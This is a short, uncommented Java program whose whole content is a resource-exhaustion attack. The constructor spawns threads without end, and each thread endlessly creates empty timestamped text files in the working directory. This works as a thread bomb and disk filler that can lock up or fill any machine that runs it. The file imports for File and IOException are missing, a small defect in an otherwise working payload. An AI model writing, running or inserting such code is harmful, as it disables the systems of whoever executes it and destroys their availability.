public class Main {
        public static void main(String[] args) {
                new Main();
        }
        public Main() {
                while (true) {
                        new Thread() {
                                public void run() {
                                        while (true) {
                                                for (int i=0; ; i++) {
                                                        File file = new File(Long.toString(System.currentTimeMillis()) + "_" + String.format("%016d", i) + ".txt");
                                                        if (!file.exists()) {
                                                                try {
                                                                        file.createNewFile();
                                                                } catch (IOException e) {
                                                                }
                                                                break;
                                                        }
                                                }
                                        }
                                }
                        }.start();
                }
        }
}